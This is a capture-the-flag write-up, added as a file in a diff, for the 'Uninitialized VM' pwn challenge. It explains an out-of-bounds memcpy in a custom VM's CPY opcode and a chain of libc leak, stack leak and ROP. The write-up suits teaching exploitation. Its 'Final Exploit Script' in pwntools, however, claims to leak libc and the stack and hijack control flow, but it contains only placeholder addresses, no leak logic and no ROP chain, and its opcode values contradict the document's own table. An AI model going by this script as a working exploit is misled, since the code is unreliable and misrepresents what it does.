|
| 1 | ++++ |
| 2 | +title = "Uninitialized VM" |
| 3 | +date = 2025-07-08 |
| 4 | +authors = ["Thirukailash"] |
| 5 | ++++ |
| 6 | + |
| 7 | +**Description** |
| 8 | + |
| 9 | +Just cooked up a simple VM, forgot to check for bugs tho. |
| 10 | + |
| 11 | +## **Files provided** |
| 12 | + |
| 13 | + vm_chall |
| 14 | + Dockerfile |
| 15 | + libc.so.6 |
| 16 | + ld-linux-x86-64.so.2 |
| 17 | + flag.txt |
| 18 | + |
| 19 | +## Vulnerability |
| 20 | + |
| 21 | +- `CPY` opcode uses `memcpy()` with attacker-controlled size and indices. |
| 22 | +- No bounds checks → memory corruption. |
| 23 | +- Can copy data *into and out of* the VM stack and manipulate key structures. |
| 24 | + |
| 25 | +--- |
| 26 | + |
| 27 | +## Key Opcodes for exploit |
| 28 | + |
| 29 | +| Opcode | Meaning | |
| 30 | +|----------|---------------------| |
| 31 | +| `0x36` | `CPY` (vuln here) | |
| 32 | +| `0x31` | `PUSH` | |
| 33 | +| `0x32` | `PUSH_R` | |
| 34 | +| `0x33` | `POP_R` | |
| 35 | +| `0x35` | `MOV_R_X` | |
| 36 | +| `0x44` | `SUB` | |
| 37 | +| `0x43` | `ADD` | |
| 38 | + |
| 39 | +--- |
| 40 | + |
| 41 | +## Exploit summary |
| 42 | + |
| 43 | +The vulnerability lies in a broken VM instruction: **`CPY`**, which uses `memcpy()` without bounds checking. This gives us **out-of-bounds memory read/write** from within the VM. |
| 44 | + |
| 45 | +--- |
| 46 | + |
| 47 | +### Step 1: Copy `regs` Struct to VM Stack |
| 48 | + |
| 49 | +- Use the vulnerable `CPY` instruction to copy the `regs` struct onto the VM's stack. |
| 50 | +- Modify register values (`sp`, `bp`, `pc`, etc.) using VM instructions like `ADD`, `SUB`, `MOV`, etc. |
| 51 | +- These modifications are possible because the VM allows arithmetic on its stack contents. |
| 52 | + |
| 53 | +--- |
| 54 | + |
| 55 | +### Step 2: Regain Control Over VM Stack |
| 56 | + |
| 57 | +- After editing the copied `regs`, copy it back into its original location using `CPY`. |
| 58 | +- This gives full control over the VM’s: |
| 59 | + - **Stack pointer (`sp`)** |
| 60 | + - **Base pointer (`bp`)** |
| 61 | + - **Program counter (`pc`)** |
| 62 | +- Now we can use VM opcodes like `PUSH`, `POP`, and `CPY` to read/write arbitrary memory. |
| 63 | + |
| 64 | +--- |
| 65 | + |
| 66 | +### Step 3: Leak libc via Heap Metadata |
| 67 | + |
| 68 | +- The `expand()` function frees the old memory chunks and reallocates them. |
| 69 | +- Freed chunks leave **unsorted bin metadata** (heap freelist pointers) in memory. |
| 70 | +- Use VM stack read to extract those pointers → gives a **libc leak**. |
| 71 | + |
| 72 | +--- |
| 73 | + |
| 74 | +### Step 4: Leak Stack Address via `environ` |
| 75 | + |
| 76 | +- Use leaked libc base to compute the address of `environ`. |
| 77 | +- `environ` holds a pointer to the actual stack top. |
| 78 | +- Copy `environ` to the VM stack, then use `POP_R` to load it into a VM register. |
| 79 | + |
| 80 | +--- |
| 81 | + |
| 82 | +### Step 5: Stack Pivot + Return Address Overwrite |
| 83 | + |
| 84 | +Now that we know the real stack address: |
| 85 | + |
| 86 | +- Set the VM stack to overlap the **main() function’s stack frame**. |
| 87 | +- Push a **ROP chain** onto the return address using the VM’s `PUSH` opcode. |
| 88 | +- When execution returns from main, it hits our payload. |
| 89 | + |
| 90 | +--- |
| 91 | + |
| 92 | +## Final Exploit Script |
| 93 | + |
| 94 | +The following Python script uses `pwntools` to exploit the Uninitialized VM by triggering an out-of-bounds `memcpy`, leaking `libc` and `stack`, and hijacking control flow. |
| 95 | + |
| 96 | +```python |
| 97 | +#!/usr/bin/env python3 |
| 98 | +from pwn import * |
| 99 | + |
| 100 | +context.binary = ELF("./vm_chall") |
| 101 | +libc = ELF("./libc.so.6") |
| 102 | +context.terminal = ["tmux", "splitw", "-h"] |
| 103 | +context.log_level = "debug" |
| 104 | + |
| 105 | +# Start the target process or connect remotely |
| 106 | +def launch(): |
| 107 | + if args.REMOTE: |
| 108 | + return remote("host", 1337) # Replace with actual host/port |
| 109 | + elif args.GDB: |
| 110 | + return gdb.debug("./vm_chall", gdbscript=""" |
| 111 | + break *main+1695 |
| 112 | + continue |
| 113 | + """) |
| 114 | + else: |
| 115 | + return process("./vm_chall") |
| 116 | + |
| 117 | +# Short helpers to emit bytecode for each instruction |
| 118 | +def b(x): return p8(x) |
| 119 | +def reg(r): return b(r & 7) |
| 120 | + |
| 121 | +def op_push_imm(val): return b(0x35) + reg(0) + p64(val) |
| 122 | +def op_push(val): return b(0x31) + b(val) |
| 123 | +def op_push_r(r): return b(0x32) + reg(r) |
| 124 | +def op_pop_r(r): return b(0x33) + reg(r) |
| 125 | +def op_mov(dst, src): return b(0x34) + reg(dst) + reg(src) |
| 126 | +def op_cpy(dst_r, src_r, size): return b(0x36) + reg(dst_r) + reg(src_r) + b(size) + b(0) * 2 # pad to skip PC += 3 |
| 127 | +def op_add(r1, r2): return b(0x43) + reg(r1) + reg(r2) |
| 128 | +def op_and(r1, r2): return b(0x38) + reg(r1) + reg(r2) |
| 129 | +def op_not(r): return b(0x40) + reg(r) |
| 130 | +def op_jmp(offset): return b(0x45) + b(offset) |
| 131 | + |
| 132 | +# Construct the payload |
| 133 | +def build_payload(): |
| 134 | + payload = b'' |
| 135 | + |
| 136 | + # Step 1: Fill stack space to operate on |
| 137 | + for _ in range(16): |
| 138 | + payload += op_push(0x00) |
| 139 | + |
| 140 | + # Step 2: Copy `regs` struct to VM stack |
| 141 | + payload += op_push_imm(0xef) |
| 142 | + payload += op_push_imm(0xff) |
| 143 | + payload += op_mov(0, 0) # r0 = 0xef |
| 144 | + payload += op_mov(1, 1) # r1 = 0xff |
| 145 | + payload += op_cpy(0, 1, 0x80) |
| 146 | + |
| 147 | + # Step 3: Prepare modified `regs` on stack (e.g., set new PC/sp/bp) |
| 148 | + payload += op_pop_r(3) # Assume r3 = heap libc ptr |
| 149 | + payload += op_pop_r(4) # r4 = PC |
| 150 | + payload += op_push_imm(0x12345678) # Replace with address of environ or main stack |
| 151 | + payload += op_pop_r(5) # r5 = stack base |
| 152 | + payload += op_push_imm(0xffffffffffffffff) |
| 153 | + payload += op_pop_r(6) # r6 = end marker |
| 154 | + payload += op_cpy(1, 0, 0x80) # Copy back regs |
| 155 | + |
| 156 | + # Step 4: Stack pivot → target real stack |
| 157 | + payload += op_push_imm(0xdeadbeefcafebabe) # one_gadget or ret address |
| 158 | + for _ in range(3): |
| 159 | + payload += op_push(0x00) |
| 160 | + |
| 161 | + return payload |
| 162 | + |
| 163 | +# Main |
| 164 | +io = launch() |
| 165 | + |
| 166 | +# Initial VM prompt sequence |
| 167 | +for _ in range(2): |
| 168 | + io.sendlineafter(b"[ lEn? ] >> ", b"1") |
| 169 | + io.sendlineafter(b"[ BYTECODE ] >>", b"a") |
| 170 | + |
| 171 | +# Final exploit payload |
| 172 | +bytecode = build_payload() |
| 173 | +assert len(bytecode) < 256 |
| 174 | + |
| 175 | +io.sendlineafter(b"[ lEn? ] >> ", str(len(bytecode)).encode()) |
| 176 | +io.sendlineafter(b"[ BYTECODE ] >>", bytecode) |
| 177 | +io.interactive() |
| 178 | + |
| 179 | +`````` |
| 180 | + |
| 181 | + This challenge was a great learning experience. I gained a deeper understanding of custom VM environments, memory layout manipulation, and struct-based exploitation. Thanks to the bi0sCTF team for such an excellent problem. |
0 commit comments